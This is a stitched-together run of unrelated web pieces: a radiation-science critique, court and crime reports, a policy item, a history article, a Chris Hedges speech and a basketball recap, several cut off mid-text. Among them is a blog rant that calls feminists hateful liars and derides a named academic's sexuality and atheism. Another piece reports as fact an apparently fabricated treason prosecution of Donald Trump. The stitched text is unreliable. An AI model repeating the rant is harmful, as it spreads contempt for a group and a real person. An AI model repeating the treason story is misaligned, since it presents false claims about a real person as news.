Calabrese says Muller and others, notably those on the U.S. National Academy of Sciences 1956 genetics panel, who favored the LNT single-hit model were successful in “obfuscating, deceiving and misrepresenting the scientific record” and that these “ideologically-based” actions “infected and affected the highest levels of regulatory policy in the U.S. government where they still remain in place today.”
Calabrese writes that Stadler, a “well-known and respected geneticist at the time, strongly disagreed with and challenged Muller’s claims. Detailed evaluations by Stadler over a prolonged series of investigations revealed that Muller’s experiments had induced gross heritable chromosomal damage instead of specific gene mutations as had been claimed by Muller at his Nobel Lecture. These X-ray-induced alterations became progressively more frequent and were of larger magnitude, more destructive, with increasing doses. Thus, Muller’s claim of having induced discrete gene mutations represented a substantial speculative overreach and was, in fact, without proof.”
Further, he adds, “The post hoc arguments of Muller to support his gene mutation hypothesis were significantly challenged and weakened by a series of new findings in the areas of cytogenetics, reverse mutation, adaptive and repair processes, and modern molecular methods for estimating induced genetic damage. These findings represented critical and substantial limitations to Muller’s hypothesis of X-ray-induced gene mutations.”
Calabrese argues that Muller had a larger-than-life influence, with Curt Stern of the University of Rochester and others who performed key experiments and served on the National Academy of Sciences’ BEAR committee, and that they deliberately manipulated the scientific record to ensure that the LNT single-hit model was adopted by the regulatory community in the 1950s.
Calabrese explains, “The scientific community and regulatory agencies such as the EPA uncritically accepted what was handed to them by a band of prestigious geneticists who were ideologically motivated. They had great authority and used this authority to greatly exaggerate risks, and were thus able to manipulate the regulatory process. This U.S. National Academy of Sciences, Biological Effects of Atomic Radiation (BEAR) Committee, as led by Hermann Muller created the ‘fake’ science world of cancer risk assessment which needs to be corrected to better serve society.”In this March 7, 2012 photo, David Coppedge, left, is shown outside Los Angeles Superior Court with his attorney, William Becker. Coppedge, a mission specialist who claims he was demoted - and then let go - by Jet Propulsion Laboratory for his workplace comments promoting his views on intelligent design, the belief that a higher power must have had a hand in creation because life is too complex to have developed through evolution alone. His lawsuit alleging improper dismissal against NASA begins Monday, March 12 in Los Angeles. (AP Photo/Nick Ut)
LOS ANGELES (AP) — A computer specialist at NASA's Jet Propulsion Laboratory is going to court over allegations that he was wrongfully terminated because of his belief in intelligent design.
Opening statements in the lawsuit by David Coppedge were expected to start Tuesday morning in Los Angeles Superior Court after lawyers spent Monday arguing several pretrial motions.
Coppedge, who worked as a team lead on the Cassini mission exploring Saturn and its many moons, claims he was discriminated against because he engaged his co-workers in conversations about intelligent design and handed out DVDs on the idea while at work.
Intelligent design is the belief that a higher power must have had a hand in creation because life is too complex to have developed through evolution alone.
Coppedge lost his team lead title in 2009 and was let go last year after 15 years on the mission.
In an emailed statement, JPL dismissed Coppedge's claims. In court papers, lawyers for the California Institute of Technology, which manages JPL for NASA, said Coppedge received a written warning because his co-workers complained of harassment.
They also said Coppedge lost his team lead status because of ongoing conflicts with others.
Caltech lawyers contend Coppedge was one of two Cassini technicians and among 246 JPL employees let go last year due to planned budget cuts.
The case has generated interest among supporters of intelligent design. The Alliance Defense Fund, a Christian civil rights group, and the Discovery Institute, a proponent of intelligent design, are both supporting Coppedge's case.
The National Center for Science Education, which rejects intelligent design as thinly veiled creationism, is also watching the case and has posted all the legal filings on its website.
Coppedge's attorney, William Becker, contends his client was singled out by his bosses because they perceived his belief in intelligent design to be religious. Coppedge had a reputation around JPL as an evangelical Christian, and interactions with co-workers led some to label him as a Christian conservative, Becker said.
In the lawsuit, Coppedge says he believes other things also led to his demotion, including his support for a state ballot measure that sought to define marriage as limited to heterosexual couples and his request to rename the annual holiday party a Christmas party.
Coppedge is seeking attorney's fees and costs, damages for wrongful termination and a statement from the judge that his rights were violated, said Becker.Two traits are necessary to become a successful feminist:
Hate;
and Dishonesty.
So long as a woman (a) despises men and (b) is willing to tell shameless lies in support of feminism’s anti-male agenda, there are no limits to how far she may go, particularly in the field of journalism:
Academia is quietly and systematically
keeping its women from succeeding
That headline, by Dr. Marcie Bianco, is the perfect feminist argument, which is to say that it is the exact opposite of truth. It is men whose career opportunities are actually targeted for systematic destruction in academia, and this has been the case for more than 20 years.
Men are only 43% of U.S. college students, and in many majors (including psychology, education and English), women get more than two-thirds of bachelor’s degrees. Consider the field of sociology. In 2000, women received 70% of bachelor’s degrees, 66% of master’s degrees and 58% of doctorate degrees in sociology. In fact, women have received a majority of Ph.D.s in sociology every year for the past 25 years.
Are these disparities evidence of anti-male discrimination in academia? Some would answer “yes” (see Christina Hoff Sommers’ The War on Boys and Helen Smith’s Men on Strike for evidence of bias against males in our education system), but Dr. Bianco’s claim that women are victims of academic discrimination would seem to contradict common sense.
Of course, feminists don’t give a damn about common sense. Or facts, for that matter. Feminists only care about “social justice,” a narrative in which women are always victims and males are always oppressors, and no one in academia would dare to question the core claims of feminist ideology. In 2005, Harvard University President Lawrence Summers had the audacity to suggest that there are “innate differences” between men and women. Barely a year later, Summers was forced to resign. In 2007, Harvard named its first female president, Drew Gilpin Faust.
Are women “systematically” prevented from succeeding in academia? In recent years women have been hired as presidents of the University of Pennsylvania (Amy Gutmann, hired in 2004), Rutgers University (Nancy Cantor, 2014), Amherst College (Carolyn Martin, 2011), Brown University (Christina Paxson, 2012), Swarthmore College (Valerie Smith, 2015), Case Western Reserve University (Barbara Snyder, 2007), the State University of New York (SUNY) system (Nancy L. Zimpher, 2009), the University of Virginia (Teresa Sullivan, 2010), the University of Wisconsin (Rebecca M. Blank, 2013), the University of North Carolina (Carol Folt, 2013), the University of Connecticut (Susan Herbst, 2011), the University of Arizona (Ann Weaver Hart, 2012), the University of Alabama (Judy Bonner, 2012), the University of Iowa (Sally Mason, 2007), the University of Kansas (Bernadette Gray-Little, 2009), the University of California, Davis (Linda P.B. Katehi, 2009), the University of California, Riverside (Jane C. Conoley, 2012), The University of California, San Diego (Marye Anne Fox, 2004), Michigan State University (Lou Anna Simon, 2005), Alabama State University (Gwendolyn Boyd, 2014), Tennessee State University (Glenda Baskin Glover, 2013), Appalachian State University (Sheri Noren Everts, 2014), Bowling Green State University (Mary Ellen Mazey, 2011), Sam Houston State University (Dana L. Gibson, 2010), Ball State University (Jo Ann M. Gora, 2004), the University of South Florida (Judy Genshaft, 2000), the University of West Florida (Judith A. Bense, 2008), Florida Atlantic University (Mary Jane Saunders, 2010), Florida A&M University (Elmira Mangum, 2014) and the University of Miami (Donna Shalala, 2001).
In case you lost count, that partial listing of female university presidents includes 18 hired since 2010. Three Ivy League schools (Harvard, Penn and Brown) now have female presidents, as do the flagship state universities in New York (SUNY), New Jersey (Rutgers), Alabama, Arizona, Connecticut, Iowa, Kansas, North Carolina, Wisconsin and, of course, Virginia, where UVA was the scene of an infamous 2014 fraternity gang-rape hoax. The brothers of Phi Kappa Psi might be surprised to learn that President Sullivan — who shut down all fraternity activities on campus because of the phony story Jackie Coakley told Rolling Stone — is a victim of systematic discrimination.
And of course, “Haven Monahan” could not be reached for comment.
Exactly how or why would Marcie Bianco expect anyone to believe her claim that women are “systematically” deprived of success in academia? Well, journalism (like academia) is a field where facts are considered less important than “social justice” nowadays, so none of her editors would bother to question Dr. Bianco’s distorted logic:
Statistically... many more women work in the humanities than in the sciences, and over 55% of female humanities faculty are adjuncts, or “contingent” workers. And so the devaluing of the humanities in higher education is bound up with our culture’s larger devaluation of women’s work.
The backlash against the humanities began in the late 1980s with the institutional recognition of women’s studies, as well as other minority-based programs such as African-American studies....
The late Harvard professor Barbara Johnson explained this “self-reconstitution of patriarchal power” in her book The Feminist Difference: “[J]ust at the moment when women (and minorities) begin to have genuine power in the university, American culture responds by acting as though the university itself is of dubious value. The drain of resources away from the humanities (where women have more power) to the sciences (where women still have less power) has been rationalized in other ways, but it seems to me that sexual politics is central to this trend.”
The reader may ask, “Who was Barbara Johnson?”
Her scholarship incorporated a variety of structuralist and poststructuralist perspectives — including deconstruction, Lacanian psychoanalysis, and feminist theory — into a critical, interdisciplinary study of literature. As a scholar, teacher, and translator, Johnson helped make the theories of French philosopher Jacques Derrida accessible to English-speaking audiences in the United States at a time when they had just begun to gain recognition in France. Accordingly, she is often associated with the “Yale School” of academic literary criticism.
Johnson was a proponent of Derrida and “critical theory,” you see, part of a trend in late-20th-century academia that was more to blame for “the devaluing of the humanities” than any patriarchal “backlash.” Any reader who investigates critical theory will discover that it originated in the Cultural Marxism of the Frankfurt School. During the 1980s, while the Soviet Union was tottering toward its final catastrophic failure, this crypto-Marxist philosophy was taking over American higher education. Since the Berlin Wall collapsed, it has been remarked, there are more Marxists on U.S. university campuses than anywhere in the erstwhile “Evil Empire.” Nowadays, you’d have to go to Pyongyang, or perhaps Tehran, to find anyone who hates America more than does the typical Ivy League professor. Old-style Bolshevism, however, has been replaced by postmodern identity politics, in which hierarchies of race, gender and sexuality are used to determine who is most oppressed, and who is the most privileged. These hierarchies are the basis of who is allowed to speak (the victims of structural oppression) and who is required to be silent (the privileged beneficiaries of oppression).
The people who actually pay for higher education — students, parents, alumni, taxpayers — do not support this divisive ideology:
Scott MacConnell cherishes the memory of his years at Amherst College, where he discovered his future métier as a theatrical designer. But protests on campus over cultural and racial sensitivities last year soured his feelings.
Now Mr. MacConnell, who graduated in 1960, is expressing his discontent through his wallet. In June, he cut the college out of his will.
“As an alumnus of the college, I feel that I have been lied to, patronized and basically dismissed as an old, white bigot who is insensitive to the needs and feelings of the current college community,” Mr. MacConnell, 77, wrote in a letter to the college’s alumni fund in December, when he first warned that he was reducing his support to the college to a token $5.
A backlash from alumni is an unexpected aftershock of the campus disruptions of the last academic year. Although fund-raisers are still gauging the extent of the effect on philanthropy, some colleges — particularly small, elite liberal arts institutions — have reported a decline in donations, accompanied by a laundry list of complaints.
Alumni from a range of generations say they are baffled by today’s college culture. Among their laments: Students are too wrapped up in racial and identity politics. They are allowed to take too many frivolous courses. They have repudiated the heroes and traditions of the past by judging them by today’s standards rather than in the context of their times. Fraternities are being unfairly maligned, and men are being demonized by sexual assault investigations. And university administrations have been too meek in addressing protesters whose messages have seemed to fly in the face of free speech.
Will parents pay to send their kids to college to study “social justice” ideology and engage in protest politics?
After raucous protests last fall, the University of Missouri has “a dark cloud hanging over the institution — we can’t sugarcoat that,” vice chancellor of operations Gary Ward told faculty [in April].
The university’s grave outlook became clearer [May 2], as the data rolled in on freshman enrollment for the Fall 2016 semester, showing steep declines.
Compared to last year, 1,470 fewer students had paid their $300 enrollment fees by the May 1 deadline — and with cancellations rolling in over the weekend, the numbers may be even more grim, the local TV station KMIZ reports. That’s a drop of about 25% from last year’s freshman class of about 6,200.
Declining enrollment will translate to a $32 million decrease in the budget at the University of Missouri, which has already closed two dorms. If there has been a “backlash against the humanities,” isn’t this because the humanities departments have been taken over by radical professors like Dr. Bianco who have turned their classrooms into political indoctrination seminars? Is anyone surprised that male students are only 32% of English majors, when the professors are anti-male ideologues like Dr. Bianco, who also hates Christianity and heterosexuality?
American culture is beginning to experience the ethical turn in how it understands sexuality.... The progressive move away from identity categories negates the need for the normative, “born this way” narrative that has been used to socially validate them....
I am an atheist and harbor no religious ascetic values like shame or guilt about who I have sex with or how I have sex....
Despite the necessity of identity politics in procuring equal rights, I understand sexuality to be a choice through feminism. With roots in materialist, ethical and existentialist philosophies, my feminism draws from Nietzsche, Kant, Sartre and Foucault; Beauvoir, Audre Lorde, and Barbara Johnson....
Feminism also influenced my sexuality through the interrogation of heterosexuality as a patriarchal institution. Adrienne Rich was just one of many lesbian radical feminists to decry heterosexuality as fundamental to women’s oppression. “Compulsory heterosexuality,” she contends, is not natural or a biological certainty, but rather a social construct that allows men to control women’s sexuality. Her ideas cohere with those of French lesbian feminist Monique Wittig, who, in her seminal essay “One Is Not Born a Woman,” unpacks the fallacy that heterosexuality is natural, or normal....
It is empowering to take possession of my identity and my acts. Women break the cycle of oppression through their sexual liberation. Our power manifests through our freedom to make choices and to take responsibility for those choices. And that includes sexuality.
Marcie Bianco graduated in 2002 from Harvard University, where she majored in government. She then attended Oxford University in England, where she got a master’s degree in Women’s Studies. She returned stateside to Rutgers, where in 2007 she got her master’s degree, and in 2012 got her Ph.D. in English (with certification in Women’s Studies). This qualifies Dr. Bianco to make declarations of Official Truth:
“Melissa Harris-Perry is undoubtedly the greatest public intellectual in contemporary America. Period. I can’t even see how this is debatable. Who else holds a candle to her?”
Thus saith Dr. Marcie Bianco, who is also a “public intellectual” because she said so, and who are we to argue with her? Ignorant plebeians like ourselves aren’t qualified to make these judgments, which is why we must depend on experts like Dr. Bianco to tell us what to think. You and I need Dr. Bianco to tell us that heterosexuality is a patriarchal institution and a social construct that allows men to control women’s sexuality. If we didn’t have public intellectuals to tell us these things, how could we possibly know? You and I are so vastly inferior to Dr. Bianco that we might not even recognize the greatness of Melissa Harris-Perry.
Dr. Marcie Bianco is not merely an atheist lesbian feminist public intellectual, she is the atheist lesbian feminist public intellectual. Did I mention she’s a Democrat who supports Hillary Clinton?
You might think that being an anti-heterosexual atheist man-hater would qualify Dr. Marcie Bianco for a tenured professorship at Harvard or some other elite university, but instead she’s merely a part-time instructor at Hunter College in the City University of New York system.
As a CUNY adjunct I’ll make less
over my career than my coworker
Paul Krugman does in a year
Like over 75% of professors in America, I am an adjunct, or, in corporate-speak, “contingent” or “part-time” faculty. I have been teaching in the City University of New York (CUNY) system—in the English departments of both John Jay and Hunter Colleges—for a couple of years.
At the moment, with a few years within the CUNY system under my belt, I earn $73.53 per hour. Generally, adjuncts, unlike other faculty, are paid by the hour—and we are only paid for the hours spent in the classroom. We are not paid for class preparation, or grading papers, or email correspondence with students, or writing students letters of recommendation, or attending sometimes mandatory faculty seminars/meetings. We do not receive benefits, like health insurance. If we teach at more than one school, we are limited to teach a total of three courses a semester, which, at my current rate, means I’d earn approximately $13,200 before taxes each semester. Which is impossible, since CUNY has told me there are no courses available for the fall semester, because enrollment is down and the system, apparently, is strapped for cash. So I’ll actually be earning zero dollars....
That was Dr. Bianco’s reaction to the news that CUNY had hired liberal economist Paul Krugman as a Distinguished Professor with an annual salary of $225,000. Of course, Krugman has a Nobel Prize and is a columnist for the New York Times, so that his value to CUNY in terms of prestige is not a negligible factor, but why is it that a Harvard alumna like Dr. Bianco finds herself stuck with the part-time status of adjunct?
There are Women’s Studies programs at some 700 colleges and universities in the United States, enrolling more than 90,000 students annually. Why hasn’t one of these schools hired an atheist lesbian feminist public intellectual like Dr. Marcie Bianco for a full-time job? Is there some kind of discrimination at work here? Or, as some of us ignorant plebeians might suspect, are Dr. Bianco’s problems a function of supply and demand? That is to say, in 2016, there is no shortage of atheist lesbian feminists with Ph.D.s. Really |
with an income,” she added.
While evidence of the African woman in Almondsbury comes from records of her estate after her death, there was more evidence of the time when 135 Africans lived in Bristol.
“It was in the middle of the war with the Spanish, in 1590, so a couple of years after the Armada,” added Dr Kaufmann.
“A ‘prize ship’, a ship taken in a battle by privateers, arrived in Bristol. It was either Portuguese or Spanish, and contained 135 African men, who were then put up in a barn by the city authorities while it was decided what would happen to them.
“The decision was taken to send them back to Spain, but it is vaguely possible that some may have managed to escape.
“What is fascinating is that the Mayor of Bristol and treasurer of the city wrote to the Privy Council – the Government of the day – asking for £300 to meet the costs of looking after them.
“The letter basically says that Bristol has been providing them with board and lodgings, and really the Privy Council in London should pay because the ship that brought them to Bristol was a Queen’s ship,” she said.
The presence of free Africans living normal lives in Tudor England should reassess people’s perspective on the slave trade, that took hold from Bristol by the end of the following century.
“They came to England from Africa, from Europe and from the Spanish Caribbean,” said Dr Kaufmann.
“They came with privateers, pirates, merchants, aristocrats, even kings and queens, and were accepted into Tudor society.
“They were baptised, married and buried by the Church of England and paid wages like other Tudors.
“Yet their experience was extraordinary because, unlike the majority of Africans across the rest of the Atlantic world, in England they were free.
“They lived in a world before the English became heavily involved in the slave trade, and before they founded their first surviving colony in the Americas.
“These stories alter the traditional narrative that racial slavery was inevitable and that it was imported to colonial Virginia from Tudor England. They force us to re-examine the 17th century to find out what caused perceptions to change so radically.
“They also challenge the accepted narrative that racial slavery was all but inevitable and force us to re-evaluate our shared history,” she added.
“We know what the Tudors wore. We know what they ate. We know the details of their monarchs’ sex lives, and how they caused seismic changes in our country’s religious and political history.
“But until now, the story of Africans who lived and died in sixteenth-century England has remained untold,” she said.The federal government's key independent advisory body has recommended the axing of a controversial policy designed to boost ethanol use by NSW motorists because it increases petrol prices and reduces competition.
The Productivity Commission also says a mandate that 6 per cent of all petrol sold by major retailers in NSW must be ethanol may not have the claimed environmental benefits.
But the recommendation has been rejected by the NSW government as it prepares to launch an advertising campaign in support of its most recent attempts to encourage motorists to use E10, a blend of regular unleaded and up to 10 per cent ethanol.
Last year, the government legislated reforms including requiring a wider range of petrol stations to sell E10, establishing an online fuel price board and asking the Independent Pricing and Regulatory Tribunal (IPART) to regulate the wholesale price of ethanol in a bid to drive down its price.WASHINGTON D.C. -- The Attorney General's office is preparing to charge Donald J. Trump with treason in light of new, disturbing evidence that shows the former GOP presidential candidate engaged in an ongoing conspiracy with America's Cold War enemy, Russia, to steal the election from the rightful president, Hillary Rodham Clinton.
The New York Times reports that four current and former senior government officials have proof that several members of Trump's campaign staff were in constant contact with the Kremlin throughout the 2016 campaign. Trump himself announced that he hoped that the Russians would steal Clinton's emails and publicize their contents - a crime - in order to sway the election result at a campaign rally.
Treason is a capital offense, one "punishable by death," according to statute. The law defines treason as follows:
Whoever, owing allegiance to the United States, levies war against them or adheres to their enemies, giving them aid and comfort within the United States or elsewhere, is guilty of treason and shall suffer death, or shall be imprisoned not less than five years and fined under this title but not less than $10,000; and shall be incapable of holding any office under the United States.
Under President Vladamir Putin, Russia has engaged in repeated acts of aggression against NATO countries, including the United States. While Hillary Clinton served as Secretary of State, she repeatedly castigated Putin for violating Russians' human rights, holding sham elections, and illegally invading other countries, including the Ukraine.
Putin did not want Hillary Clinton, a woman who opposed, rebuked, and humiliated him, to become America's next President.
During the election campaign, Trump too wished to see Hillary Clinton defeated: This desire to triumph over her was understandable and legal in itself. But in offering Russia attractive promises - of closer business ties, a softer American foreign policy on the Ukraine, and relaxed sanctions - in return for Putin's assistance in crushing Hillary Clinton, Trump committed a high crime against his country.
Trump owed allegiance to the United States. Yet he adhered to America's enemy Russia, giving Russian President Vladamir Putin "aid and comfort within the United States," helping and urging the foreign leader in his attempt to controvert American democracy.Mr. Fish / Truthdig
This is a talk that Chris Hedges gave Monday at Princeton University in New Jersey.
In the conflicts I covered as a reporter in Latin America, Africa, the Middle East and the Balkans, I encountered singular individuals of varying creeds, religions, races and nationalities who majestically rose up to defy the oppressor on behalf of the oppressed. Some of them are dead. Some of them are forgotten. Most of them are unknown.
These individuals, despite their vast cultural differences, had common traits—a profound commitment to the truth, incorruptibility, courage, a distrust of power, a hatred of violence and a deep empathy that was extended to people who were different from them, even to people defined by the dominant culture as the enemy. They are the most remarkable men and women I met in my 20 years as a foreign correspondent. And to this day I set my life by the standards they set.
You have heard of some, such as Vaclav Havel, whom I and other foreign reporters met most evenings, during the 1989 Velvet Revolution in Czechoslovakia, in the Magic Lantern Theatre in Prague. Others, no less great, you probably do not know, such as the Jesuit priest Ignacio Ellacuria, who was assassinated in El Salvador in 1989. And then there are those “ordinary” people, although, as the writer V.S. Pritchett said, no people are ordinary, who risked their lives in wartime to shelter and protect those of an opposing religion or ethnicity being persecuted and hunted. And to some of these “ordinary” people I owe my own life.
To resist radical evil is to endure a life that by the standards of the wider society is a failure. It is to defy injustice at the cost of your career, your reputation, your financial solvency and at times your life. It is to be a lifelong heretic. And, perhaps this is the most important point, it is to accept that the dominant culture, even the liberal elites, will push you to the margins and attempt to discredit not only what you do, but your character. When I returned to the newsroom at The New York Times after being booed off a commencement stage in 2003 for denouncing the invasion of Iraq and being publicly reprimanded by the paper for my stance against the war, reporters and editors I had known and worked with for 15 years lowered their heads or turned away when I was nearby. They did not want to be contaminated by the same career-killing contagion.
Ruling institutions—the state, the press, the church, the courts, academia—mouth the language of morality, but they serve the structures of power, no matter how venal, which provide them with money, status and authority. In times of national distress—one has only to look at Nazi Germany—all of these institutions, including the academy, are complicit through their silence or their active collaboration with radical evil. And our own institutions, which have surrendered to corporate power and the utopian ideology of neoliberalism, are no different. The lonely individuals who defy tyrannical power within these institutions, as we saw with the thousands of academics who were fired from their jobs and blacklisted during the McCarthy era, are purged and turned into pariahs.
All institutions, including the church, Paul Tillich once wrote, are inherently demonic. And a life dedicated to resistance has to accept that a relationship with any institution is often temporary, because sooner or later that institution is going to demand acts of silence or obedience your conscience will not allow you to make. To be a rebel is to reject what it means to succeed in a capitalist, consumer culture, especially the idea that we should always come first.
The theologian James H. Cone in his book “The Cross and the Lynching Tree” writes that for oppressed blacks the cross was a “paradoxical religious symbol because it inverts the world’s value system with the news that hope comes by way of defeat, that suffering and death do not have the last word, that the last shall be first and the first last.”
Cone continues: “That God could ‘make a way out of no way’ in Jesus’ cross was truly absurd to the intellect, yet profoundly real in the souls of black folk. Enslaved blacks who first heard the gospel message seized on the power of the cross. Christ crucified manifested God’s loving and liberating presence in the contradictions of black life—that transcendent presence in the lives of black Christians that empowered them to believe that ultimately, in God’s eschatological future, they would not be defeated by the ‘troubles of this world,’ no matter how great and painful their suffering. Believing this paradox, this absurd claim of faith, was only possible in humility and repentance. There was no place for the proud and the mighty, for people who think that God called them to rule over others. The cross was God’s critique of power—white power—with powerless love, snatching victory out of defeat.”
Reinhold Niebuhr labeled this capacity to defy the forces of repression “a sublime madness in the soul.” Niebuhr wrote that “nothing but madness will do battle with malignant power and ‘spiritual wickedness in high places.’ ” This sublime madness, as Niebuhr understood, is dangerous, but it is vital. Without it, “truth is obscured.” And Niebuhr also knew that traditional liberalism was a useless force in moments of extremity. Liberalism, Niebuhr said, “lacks the spirit of enthusiasm, not to say fanaticism, which is so necessary to move the world out of its beaten tracks. It is too intellectual and too little emotional to be an efficient force in history.”
The prophets in the Hebrew Bible had this sublime madness. The words of the Hebrew prophets, as Abraham Heschel wrote, were “a scream in the night. While the world is at ease and asleep, the prophet feels the blast from heaven.” The prophet, because he saw and faced an unpleasant reality, was, as Heschel wrote, “compelled to proclaim the very opposite of what his heart expected.”
This sublime madness is the essential quality for a life of resistance. It is the acceptance that when you stand with the oppressed you get treated like the oppressed. It is the acceptance that, although empirically all that we struggled to achieve during our lifetime may be worse, our struggle validates itself.
Daniel Berrigan told me that faith is the belief that the good draws to it the good. The Buddhists call this karma. But he said for us as Christians we did not know where it went. We trusted that it went somewhere. But we did not know where. We are called to do the good, or at least the good so far as we can determinate it, and then let it go.As Hannah Arendt wrote in “The Origins of Totalitarianism,” the only morally reliable people are not those who say “this is wrong” or “this should not be done,” but those who say “I can’t.” They know that as Immanuel Kant wrote: “If justice perishes, human life on earth has lost its meaning.” And this means that, like Socrates, we must come to a place where it is better to suffer wrong than to do wrong. We must at once see and act, and given what it means to see, this will require the surmounting of despair, not by reason, but by faith.
I saw in the conflicts I covered the power of this faith, which lies outside any religious or philosophical creed. This faith is what Havel called in his great essay “The Power of the Powerless” living in truth. Living in truth exposes the corruption, lies and deceit of the state. It is a refusal to be a part of the charade.
“You do not become a ‘dissident’ just because you decide one day to take up this most unusual career,” Havel wrote. “You are thrown into it by your personal sense of responsibility, combined with a complex set of external circumstances. You are cast out of the existing structures and placed in a position of conflict with them. It begins as an attempt to do your work well, and ends with being branded an enemy of society. … The dissident does not operate in the realm of genuine power at all. He is not seeking power. He has no desire for office and does not gather votes. He does not attempt to charm the public. He offers nothing and promises nothing. He can offer, if anything, only his own skin—and he offers it solely because he has no other way of affirming the truth he stands for. His actions simply articulate his dignity as a citizen, regardless of the cost.”
The long, long road of sacrifice and suffering that led to the collapse of the communist regimes stretched back decades. Those who made change possible were those who had discarded all notions of the practical. They did not try to reform the Communist Party. They did not attempt to work within the system. They did not even know what, if anything, their tiny protests, ignored by the state-controlled media, would accomplish. But through it all they held fast to moral imperatives. They did so because these values were right and just. They expected no reward for their virtue; indeed they got none. They were marginalized and persecuted. And yet these poets, playwrights, actors, singers and writers finally triumphed over state and military power. They drew the good to the good. They triumphed because, however cowed and broken the masses around them appeared, their message of defiance did not go unheard. It did not go unseen. The steady drumbeat of rebellion constantly exposed the dead hand of authority and the rot of the state.
I stood with hundreds of thousands of rebellious Czechoslovakians in 1989 on a cold winter night in Prague’s Wenceslas Square as the singer Marta Kubisova approached the balcony of the Melantrich building. Kubisova had been banished from the airwaves in 1968 after the Soviet invasion for her anthem of defiance “Prayer for Marta.” Her entire catalog, including more than 200 singles, had been confiscated and destroyed by the state. She had disappeared from public view. Her voice that night suddenly flooded the square. Pressing around me were throngs of students, most of whom had not been born when she vanished. They began to sing the words of the anthem. There were tears running down their faces. It was then that I understood the power of rebellion. It was then that I knew that no act of rebellion, however futile it appears in the moment, is wasted. It was then that I knew that the communist regime was finished.
“The people will once again decide their own fate,” the crowd sang in unison with Kubisova. [Editor’s note: To see YouTube photographs of the 1989 revolution and hear Kubisova sing the song in a studio recording, click here.]
The walls of Prague were covered that chilly winter with posters depicting Jan Palach. Palach, a university student, set himself on fire in Wenceslas Square on Jan. 16, 1969, in the middle of the day to protest the crushing of the country’s democracy movement. He died of his burns three days later. The state swiftly attempted to erase his act from national memory. There was no mention of it on state media. A funeral march by university students was broken up by police. Palach’s gravesite, which became a shrine, saw the communist authorities exhume his body, cremate his remains and ship them to his mother with the provision that his ashes could not be placed in a cemetery. But it did not work. His defiance remained a rallying cry. His sacrifice spurred the students in the winter of 1989 to act. Prague’s Red Army Square, shortly after I left for Bucharest to cover the uprising in Romania, was renamed Palach Square. Ten thousand people went to the dedication.
We, like those who opposed the long night of communism, no longer have any mechanisms within the formal structures of power that will protect or advance our rights. We too have undergone a coup d’état carried out not by the stone-faced leaders of a monolithic Communist Party but by the corporate state.
We may feel, in the face of the ruthless corporate destruction of our nation, our culture and our ecosystem, powerless and weak. But we are not. We have a power that terrifies the corporate state. Any act of rebellion, no matter how few people show up or how heavily it is censored, chips away at corporate power. Any act of rebellion keeps alive the embers for larger movements that follow us. It passes on another narrative. It will, as the state consumes itself, attract wider and wider numbers. Perhaps this will not happen in our lifetimes. But if we persist, we will keep this possibility alive. If we do not, it will die.Dr. Rieux in Albert Camus’ novel “The Plague” is not driven by ideology. He is driven by empathy, the duty to minister to suffering, no matter the cost. Empathy, or what the Russian novelist Vasily Grossman called “simple human kindness,” becomes in all despotisms a subversive act. To act on this empathy—the empathy for human beings locked in cages less than an hour from us [here in Princeton], the empathy for undocumented mothers and fathers being torn from their children on the streets of our cities, the empathy for Muslims who are demonized and banned from our shores, fleeing the wars we created, the empathy for poor people of color gunned down by police in our streets, the empathy for girls and women trafficked into prostitution, the empathy for all those who suffer at the hands of a state intent on militarization and imposing a harsh cruelty on the vulnerable, the empathy for the earth that gives us life and that is being contaminated and pillaged for profit—becomes political and even dangerous.
Evil is real. But so is love. And in war—especially when the heavy shells landed on crowds in Sarajevo, sights so gruesome that to this day I cannot eat a piece of meat—you could feel, as frantic family members desperately sought out loved ones among the wounded and dead, the concentric circles of death and love, death and love, like rings from the blast of a cosmic furnace.
Flannery O’Connor recognized that a life of faith is a life of confrontation: “St. Cyril of Jerusalem, in instructing catechumens, wrote: ‘The dragon sits by the side of the road, watching those who pass. Beware lest he devour you. We go to the Father of Souls, but it is necessary to pass by the dragon.’ No matter what form the dragon may take, it is of this mysterious passage past him, or into his jaws, that stories of any depth will always be concerned to tell, and this being the case, it requires considerable courage at any time, in any country, not to turn away from the storyteller.”
Accept sorrow—for who cannot be profoundly sorrowful at the state of our nation, the world and our ecosystem—but know that in resistance there is a balm that leads to wisdom and, if not joy, a strange, transcendent happiness. Know that if we resist we keep hope alive.
“My faith has been tempered in Hell,” wrote Vasily Grossman in his masterpiece “Life and Fate.” “My faith has emerged from the flames of the crematoria, from the concrete of the gas chamber. I have seen that it is not man who is impotent in the struggle against evil, but the power of evil that is impotent in the struggle against man. The powerlessness of kindness, of senseless kindness, is the secret of its immortality. It can never be conquered. The more stupid, the more senseless, the more helpless it may seem, the vaster it is. Evil is impotent before it. The prophets, religious leaders, reformers, social and political leaders are impotent before it. This dumb, blind love is man’s meaning. Human history is not the battle of good struggling to overcome evil. It is a battle fought by a great evil struggling to crush a small kernel of human kindness. But if what is human in human beings has not been destroyed even now, then evil will never conquer.”September 22, 2017 | 5:43pm
A well-to-do couple were arrested for murdering then char-broiling their French nanny — after neighbors reported a “weird barbecue” smell to cops and the au pair’s scorched body was found in the backyard of their posh home, according to reports.
French-Algerian designer and makeup artist Sabrina Quider, 34, and her boyfriend Ouissem Medoun, 40, were collared for killing Sophie Lionnet, 21, in London on Friday, the Guardian reports
Cops found Lionnet’s remains outside the ritzy $1.2-million residence on Wednesday after neighbors spotted them starting a big fire — but it didn’t smell like they were grilling burgers.
“My young son called out, ‘If you are having a barbecue, are we allowed to come?'” one neighbor told the Daily Mail
“I told him, ‘no that’s not a barbecue, that’s a bad smell.’ I thought they may be burning leaves.”
The body was so badly burned that cops couldn’t initially tell if it was a man or a woman, according to the paper.
Lionnet had been living with the family for a little over a year, caring for Quider’s 3-year-old daughter and 6-year-old son — whose dad was a member of Irish boy-band Boyzone, according to reports.
But the nanny was apparently miserable and had been scheduled to return home Monday — but never arrived, a friend told the TelegraphKevin Durant sat on the Quicken Loans Arena floor in frustrated amazement while Richard Jefferson ran down the court with one fist in the air as the buzzer sounded, closing the latest chapter of the NBA’s best rivalry.
With the Golden State Warriors down one point to LeBron James and the Cleveland Cavaliers on Sunday, Durant got the ball for a possible game-winning shot in the final seconds. Shortly afterward, however, Jefferson inadvertently pushed and tripped Durant. But the referees in Cleveland swallowed their whistles. While seated on the floor, Durant threw up a wild, Hail Mary 3-pointer at the buzzer that didn’t come close to falling in the Warriors’ 109-108 loss in Cleveland.
Welcome to Warriors-Cavs, KD.
“I would’ve made that shot if he didn’t trip me up,” Durant told The Undefeated. “But they ain’t calling it on him at their crib. It’s not his fault. It’s not the refs fault, either.”
It’s not like he hasn’t played against James before, or in big, emotional games, either.
